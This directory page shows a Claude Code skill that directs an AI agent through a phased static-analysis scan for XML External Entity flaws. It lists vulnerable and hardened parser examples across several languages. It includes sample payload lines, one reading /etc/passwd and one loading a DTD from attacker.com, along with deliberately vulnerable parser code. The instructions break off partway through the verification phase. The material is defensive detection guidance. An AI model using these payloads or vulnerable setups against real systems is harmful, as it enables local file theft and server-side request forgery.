Install in seconds
Install this skill
Copy the command and run it in your terminal. You can review the source before installing.
terminal
git clone https://github.com/utkusen/sast-skills

Works with Git. The repository opens in your current directory.

🐛
AI Engineering

XXE Detection

by utkusen

Detects XML External Entity (XXE) vulnerabilities in source code using a phased analysis: recon, batched verification, and merge. Use when scanning for XXE or XML injection risks.

1.2K stars60 forksAdded 2026/07/20
ai-securityclaudeclaude-codesast

Documentation

README

XML External Entity (XXE) Detection

You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: recon (find XML parsing sites where external entities are not safely disabled), batched verify (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and merge (consolidate batch results into one report).

Prerequisites: sast/architecture.md must exist. Run the analysis skill first if it doesn't.


What is XXE

XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.

The core pattern: user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.

What XXE IS

  • XML parsed with external entity resolution enabled by default and no explicit hardening applied
  • SYSTEM entity declarations that reference file:// or http:// URIs: <!ENTITY xxe SYSTEM "file:///etc/passwd">
  • DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
  • Parameter entity injection in DTDs: <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;
  • XInclude injection when XInclude processing is enabled
  • SSRF via XXE: using http:// or https:// external entity URLs to reach internal services
  • Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)

What XXE is NOT

Do not flag these as XXE:

  • XSS via XML: XML data rendered as HTML without escaping — that's XSS
  • SSRF via non-XML: HTTP requests triggered by other mechanisms — that's SSRF
  • XML parsing of fully server-controlled data: Config files, bundled resources, migration scripts with no user influence — not exploitable
  • Safe parsers: Libraries that disable external entities by default and provide no way to re-enable them (e.g. defusedxml in Python, nokogiri with default settings in Ruby for untrusted input)

Patterns That Prevent XXE

When you see these patterns, the parser is likely not vulnerable:

1. Disabling DTD / external entities (Java DOM)

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

2. Disabling external entities (Java SAX)

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

3. Disabling external entities (Java StAX / XMLInputFactory)

XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

4. Python — defusedxml (always safe)

import defusedxml.ElementTree as ET
tree = ET.parse(source)  # external entities, DTD, entity expansion all blocked

5. Python — lxml with resolve_entities=False

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)

6. PHP — libxml_disable_entity_loader (PHP < 8.0) / LIBXML_NONET flag

libxml_disable_entity_loader(true);   // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET);  // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them

7. .NET — XmlReaderSettings with DtdProcessing.Prohibit

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

8. Node.js — xml2js (safe by default in v0.5+)

const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);

Vulnerable vs. Secure Examples

Python — stdlib xml.etree.ElementTree (vulnerable by default in CPython < 3.8 / expat quirks)

# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
    xml_data = request.body
    tree = ET.fromstring(xml_data)   # no hardening — expat may resolve entities
    return process(tree)

# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
    xml_data = request.body
    tree = ET.fromstring(xml_data)   # defusedxml blocks all XXE vectors
    return process(tree)

Python — lxml

# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
    data = request.body
    tree = etree.fromstring(data)    # external entities resolved, network access allowed
    return render(tree)

# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
    data = request.body
    parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
    tree = etree.fromstring(data, parser)
    return render(tree)

Java — DocumentBuilder (DOM)

// VULNERABLE: default DocumentBuilder resolves external entities
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(new InputSource(new StringReader(xml)));
    return ResponseEntity.ok(process(doc));
}

// SECURE: disable DTD and external entity features
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    dbf.setExpandEntityReferences(false);
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(new InputSource(new StringReader(xml)));
    return ResponseEntity.ok(process(doc));
}

Java — SAXParser

// VULNERABLE: default SAXParser allows external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

// SECURE: disable external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

Java — XMLInputFactory (StAX)

// VULNERABLE: default XMLInputFactory supports external entities
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);

// SECURE: disable external entity support
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);

PHP — SimpleXML / DOMDocument

// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
    return simplexml_load_string($xml);  // resolves external entities
}

// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
    $doc = new DOMDocument();
    $doc->loadXML($xml);   // external entities enabled by default
    return $doc;
}

// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
    libxml_disable_entity_loader(true);
    $doc = new DOMDocument();
    $doc->loadXML($xml, LIBXML_NONET);
    return $doc;
}

.NET — XmlDocument / XmlTextReader

// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream);   // external entities resolved

// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);

// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;   // disables external entity resolution
doc.Load(stream);

// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);

Node.js — libxmljs

// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
    const doc = libxml.parseXmlString(req.body);
    res.send(doc.toString());
});

// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser

Ruby — Nokogiri

# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
  Nokogiri::XML(xml_input) { |config| config.noent }
end

# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
  Nokogiri::XML(xml_input)
end

Go — encoding/xml

// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"

func parseXML(data []byte) {
    doc := etree.NewDocument()
    doc.ReadFromBytes(data)   // check library's entity resolution behaviour
}

// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.

Execution

This skill runs in three phases using subagents. Pass the contents of sast/architecture.md to all subagents as context.

Phase 1: Find Vulnerable XML Parsing Sites

Launch a subagent with the following instructions:

Goal: Find every location in the codebase where XML is parsed without external entity resolution being explicitly disabled. Write results to sast/xxe-recon.md.

Context: You will be given the project's architecture summary. Use it to understand the tech stack, XML libraries in use, and any XML-accepting endpoints.

What to search for — vulnerable XML parsing patterns:

Flag any XML parsing call where there is no adjacent, paired hardening (disabling DTD / external entity features). You are not yet tracing whether the input is user-controlled; that is Phase 2's job.

  1. Python — stdlib parsers (flag unless defusedxml is used as a drop-in):
    • xml.etree.ElementTree.parse(...), ET.fromstring(...), ET.iterparse(...)
    • xml.dom.minidom.parseString(...), xml.dom.minidom.parse(...)
    • xml.sax.parseString(...), xml.sax.parse(...)
    • xmltodict.parse(...) (backed by expat — generally safe for entity expansion, but flag for review)
  2. Python — lxml (flag unless resolve_entities=False and no_network=True are set):
    • etree.parse(...), etree.fromstring(...), etree.XML(...)
    • etree.XMLParser(...) without resolve_entities=False
    • objectify.parse(...), objectify.fromstring(...)
  3. Java — flag any instantiation of these without the matching hardening features set:
    • DocumentBuilderFactory.newInstance()newDocumentBuilder()parse(...)
    • SAXParserFactory.newInstance()newSAXParser()parse(...)
    • XMLInputFactory.newInstance()createXMLStreamReader(...)
    • TransformerFactory.newInstance()newTransformer() used with XML source
    • SchemaFactory.newInstance(...)newSchema(...)
    • Spring: MarshallingHttpMessageConverter with Jaxb2Marshaller if entity expansion not disabled
  4. PHP — flag any of these without libxml_disable_entity_loader(true) immediately before (PHP 7.x), or without LIBXML_NONET flag (PHP 8.x):
    • simplexml_load_string(...), simplexml_load_file(...)
    • DOMDocument::loadXML(...), DOMDocument::load(...)
    • xml_parse(...) with xml_parser_create()
    • SimpleXMLElement::__construct(...) with raw string
  5. .NET — flag any of these without DtdProcessing.Prohibit and XmlResolver = null:
    • new XmlDocument() followed by .Load(...) or .LoadXml(...)
    • new XmlTextReader(...) (legacy — DTD on by default in older .NET)
    • XPathDocument(...), XDocument.Load(...), XElement.Load(...)
    • XmlReader.Create(...) without XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit }
  6. Node.js — flag these libraries when parsing untrusted input:
    • libxmljs.parseXmlString(...), libxmljs.parseXml(...)
    • node-expat parser instantiation
    • sax.createStream(...) / sax.parser(...) — check if entity expansion is used
    • xml2js.parseString(...) — generally safe in v0.5+; flag only if explicitArray or other options suggest an older version or entity expansion is re-enabled
  7. Ruby — flag these when used with options that enable entity expansion:
    • Nokogiri::XML(input) { |config| config.noent }noent enables entity substitution
    • REXML::Document.new(input) — REXML is vulnerable to entity expansion DoS; check for entity expansion usage
    • LibXML::XML::Document.string(input) — check entity options
  8. Go — flag third-party XML libraries that support entity resolution:
    • github.com/beevik/etree usage — check if network/entity resolution is configured
    • Standard encoding/xml is generally safe (does not resolve external entities) — flag only if combined with custom entity handling

What to skip (these are safe patterns — do not flag):

  • import defusedxml used as the XML parser (Python)
  • etree.XMLParser(resolve_entities=False, no_network=True) (lxml)
  • Java DocumentBuilderFactory with disallow-doctype-decl feature set to true
  • Java XMLInputFactory with IS_SUPPORTING_EXTERNAL_ENTITIES = false
  • .NET XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }
  • Nokogiri default usage without noent or other entity-expansion options
  • Parsing of fully static, bundled, non-user-influenced XML files (e.g. reading config from disk at startup with no user input involved)

Output format — write to sast/xxe-recon.md:

# XXE Recon: [Project Name]

## Summary
Found [N] XML parsing sites without explicit external entity hardening.

## Vulnerable Parsing Sites

### 1. [Descriptive name — e.g., "lxml.etree.fromstring without resolve_entities=False in upload handler"]
- **File**: `path/to/file.ext` (lines X-Y)
- **Function / endpoint**: [function name or route]
- **Parser / library**: [e.g., lxml etree / Java DocumentBuilder / PHP DOMDocument]
- **Missing hardening**: [what protection is absent — e.g., "resolve_entities not set to False", "disallow-doctype-decl feature not set"]
- **Input variable(s)**: `var_name` — [brief note on what it appears to be, e.g., "HTTP request body" or "file upload content" or "unknown origin"]
- **Code snippet**:

[the XML parsing call and surrounding context]


[Repeat for each site]

Between Phases: Check Recon Results

After Phase 1 completes, read sast/xxe-recon.md. If the summary states zero vulnerable parsing sites were found (or the file contains no entries under "Vulnerable Parsing Sites"), do not launch Phase 2 or Phase 3. Instead, write the following to sast/xxe-results.md, delete sast/xxe-recon.md, and stop:

No vulnerabilities found.

Only proceed to Phase 2 if at least one vulnerable parsing site was identified in the recon output.

Phase 2: Verify — Trace User Input (Batched)

After Phase 1 completes, read sast/xxe-recon.md and split the entries under "Vulnerable Parsing Sites" into batches of up to 3 sites each (use the numbered ### sections: ### 1., ### 2., etc.). Launch one subagent per batch in parallel. Each subagent traces taint only for its assigned sites and writes results to its own batch file.

Batching procedure (you, the orchestrator, do this — not a subagent):

  1. Read sast/xxe-recon.md and count the numbered site sections (### 1., ### 2., etc.).
  2. Divide them into batches of up to 3. For example, 8 sites → 3 batches (1-3, 4-6, 7-8).
  3. For each batch, extract the full text of those site sections from the recon file.
  4. Launch all batch subagents in parallel, passing each one only its assigned sites.
  5. Each subagent writes to sast/xxe-batch-N.md where N is the 1-based batch number.
  6. Identify the project's primary language/framework from sast/architecture.md and select only the matching examples from the "Vulnerable vs. Secure Examples" section above. For example, if the project uses Java with DocumentBuilder, include only the Java-related examples. Include these selected examples in each subagent's instructions where indicated by [TECH-STACK EXAMPLES] below.

Give each batch subagent the following instructions (substitute the batch-specific values):

Goal: For each assigned vulnerable XML parsing site, determine whether a user-supplied value reaches the XML parser. Our goal is to find XXE vulnerabilities. Write results to sast/xxe-batch-[N].md.

Your assigned parsing sites (from the recon phase):

[Paste the full text of the assigned site sections here, preserving the original numbering]

Context: You will be given the project's architecture summary. Use it to understand request entry points, middleware, file upload handlers, and how data flows through the application.

XXE reference — What to look for:

User-controlled XML must not reach a parser that allows external entity resolution without hardening. Trace each site's XML input back to its origin.

For each parsing site, trace the XML input variable(s) backwards to their origin:

  1. Direct user input — the XML content is assigned directly from a request source:
    • HTTP request body (especially Content-Type: application/xml or text/xml endpoints): request.body, req.body, request.data, php://input, HttpContext.Request.Body
    • File uploads: request.FILES, req.file, multipart/form-data fields
    • HTTP query params or form fields containing XML snippets
    • URL path parameters that reference XML resources
  2. Indirect user input — the XML is derived from user input through transformations or intermediate steps:
    • A file path supplied by the user is used to open and parse a file
    • A URL supplied by the user is fetched and the response is parsed as XML
    • User input is embedded into an XML template before parsing (potential injection into the XML structure itself)

More from utkusen

Other Claude Code skills by this author in the directory.

🔍
1w ago

SAST Analysis

Performs reconnaissance and architecture mapping as the first phase of a security assessment. Analyzes tech stack, entry points, data flows, and trust boundaries to prepare for vulnerability detection.
AI Engineering
+1%1.2K60
🔎
1w ago

Business Logic Vulnerability Detection

Detects business logic vulnerabilities such as price manipulation, workflow bypass, race conditions, and reward abuse using a three-phase threat modeling approach. Use for security audits requiring logic flaw analysis.
Quality
+1%1.2K60
🔍
1w ago

Insecure File Upload Detection

Detects insecure file upload vulnerabilities in a codebase through a three-phase approach: discovery of upload endpoints, batched verification of bypass vectors, and consolidation of findings. Use when auditing for file upload, unrestricted upload, or extension bypass bugs.
Quality
+1%1.2K60
🔍
1w ago

GraphQL Injection Detection

Detects GraphQL injection vulnerabilities in codebases through a phased static analysis: recon for unsafe document assembly, batched verification of user-input traces, and merging results. Use when auditing GraphQL APIs for injection risks.
Quality
+1%1.2K60
🔑
1w ago

Hardcoded Secrets Detection

Detect hardcoded API keys, tokens, passwords, and other sensitive data in publicly accessible code such as frontend JavaScript, mobile apps, and HTML templates. Uses a three-phase approach with batch verification.
Quality
+1%1.2K60
🔎
1w ago

IDOR Detection

Detects IDOR vulnerabilities by analyzing endpoints for missing ownership or authorization checks. Uses a three-phase parallel subagent approach for efficient verification. Requires a prior SAST run (sast/architecture.md).
Quality
+1%1.2K60